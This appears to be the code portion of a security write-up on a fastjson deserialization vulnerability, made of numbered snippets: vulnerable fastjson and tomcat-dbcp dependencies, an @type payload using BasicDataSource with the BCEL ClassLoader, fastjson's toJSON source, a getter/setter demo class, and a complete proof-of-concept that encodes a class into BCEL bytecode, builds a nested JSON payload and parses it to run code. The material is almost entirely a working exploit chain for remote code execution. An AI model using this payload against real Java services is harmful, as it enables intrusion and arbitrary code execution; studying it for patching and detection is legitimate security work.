1
<dependency>
2
    <groupId>com.alibaba</groupId>
3
    <artifactId>fastjson</artifactId>
4
    <version>1.2.24</version>
5
</dependency>
6
<!--fastjson<=1.2.36-->
7
<dependency>
8
  <groupId>org.apache.tomcat</groupId>
9
  <artifactId>tomcat-dbcp</artifactId>
10
  <version>9.0.20</version>
11
</dependency>

1
{
2
        "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
3
        "driverClassLoader": {
4
            "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
5
        },
6
        "driverClassName": "$$BCEL$$$l$8b......"
7
}

1
new ClassLoader().loadClass("$$BCEL$$" + code).newInstance();

1
public static Object toJSON(Object javaObject) {
2
    return toJSON(javaObject, SerializeConfig.globalInstance);
3
}
4
---------------------------------------------------------------------
5
public static Object toJSON(Object javaObject, SerializeConfig config) {
6
    if (javaObject == null) {
7
        return null;
8
    }
9
    if (javaObject instanceof JSON) {
10
        return javaObject;
11
    }
12
    if (javaObject instanceof Map) {
13
        Map<Object, Object> map = (Map<Object, Object>) javaObject;
14
        JSONObject json = new JSONObject(map.size());
15
        for (Map.Entry<Object, Object> entry : map.entrySet()) {
16
            Object key = entry.getKey();
17
            String jsonKey = TypeUtils.castToString(key);
18
            Object jsonValue = toJSON(entry.getValue());
19
            json.put(jsonKey, jsonValue);
20
        }
21
        return json;
22
    }
23
    if (javaObject instanceof Collection) {
24
        Collection<Object> collection = (Collection<Object>) javaObject;
25
        JSONArray array = new JSONArray(collection.size());
26
        for (Object item : collection) {
27
            Object jsonValue = toJSON(item);
28
            array.add(jsonValue);
29
        }
30
        return array;
31
    }
32
    Class<?> clazz = javaObject.getClass();
33
    if (clazz.isEnum()) {
34
        return ((Enum<?>) javaObject).name();
35
    }
36
    if (clazz.isArray()) {
37
        int len = Array.getLength(javaObject);
38
        JSONArray array = new JSONArray(len);
39
        for (int i = 0; i < len; ++i) {
40
            Object item = Array.get(javaObject, i);
41
            Object jsonValue = toJSON(item);
42
            array.add(jsonValue);
43
        }
44
        return array;
45
    }
46
    if (ParserConfig.isPrimitive(clazz)) {
47
        return javaObject;
48
    }
49
    ObjectSerializer serializer = config.getObjectWriter(clazz);
50
    if (serializer instanceof JavaBeanSerializer) {
51
        JavaBeanSerializer javaBeanSerializer = (JavaBeanSerializer) serializer;
52
        JSONObject json = new JSONObject();
53
        try {
54
            Map<String, Object> values = javaBeanSerializer.getFieldValuesMap(javaObject);
55
            for (Map.Entry<String, Object> entry : values.entrySet()) {
56
                json.put(entry.getKey(), toJSON(entry.getValue()));
57
            }
58
        } catch (Exception e) {
59
            throw new JSONException("toJSON error", e);
60
        }
61
        return json;
62
    }
63
    String text = JSON.toJSONString(javaObject);
64
    return JSON.parse(text);
65
}
66

67
--------------------------------------------------------------------------------

1
public class Person{
2
    public String name;
3
    public Integer age;
4
    public  static Map map;
5
    public Person() {
6
    }
7
    public Person(String name, Integer age) {
8
        this.name = name;
9
        this.age = age;
10
    }
11
    public  Map getMap() {
12
        System.out.println("getMap");
13
        return map;
14
    }
15
    public String getName() {
16
        System.out.println("getName");
17
        return name;
18
    }
19
    public void setName(String name) throws java.io.IOException {
20
        System.out.println("setName");
21
        this.name = name;
22
    }
23
    public Integer getAge() throws java.io.IOException{
24
        System.out.println("getAge");
25
        return age;
26
    }
27
    public void setAge(Integer age) {
28
        System.out.println("setAge");
29
        this.age = age;
30
    }
31
}
32
-------------------------------------------------------------------------
33
public class fastjsondemo {
34
    public static void main(String[] args) throws java.io.IOException{
35
        String s = "{\"@type\":\"com.Person\",\"name\":\"xxx\",\"age\":\"16\",\"map\":{}}";
36
        Object jsonObject = JSON.parse(s);
37
    }
38
}
39
-------------------------------------------------------------------

1
--------------------------------------------------------------------------------
2
class fastjson_dbcp {
3
    public static void main(String[] argv) throws Exception{
4
        JavaClass cls = Repository.lookupClass(calc.class);
5
        //System.out.println(Arrays.toString(cls.getBytes()));
6
        String code = Utility.encode(cls.getBytes(), true);//转换为字节码并编码为bcel字节码
7
        System.out.println(code);
8
        String poc = "{{{\"aaa\":{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\", \"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\": \"$$BCEL$$"+code+"\"}}:\"bbb\"}:\"ccc\"}";
9
    System.out.println(poc);
10
    JSON.parse(poc);
11
    }
12
}
13
----------------------------------------------------------------------------
14
public class fastjsondemo {
15
    public static void main(String[] args) throws java.io.IOException{
16
        String s = "{\"@type\":\"com.Person\",\"name\":\"admin\",\"age\":\"16\",\"map\":{}}";
17
        Object jsonObject = JSON.parse(s);
18
        Person person = new Person();
19
        person.setAge(11);
20
        person.setName("A");
21
        System.out.println(person);
22
    }
23
}
24
----------------------------------------------------------------------------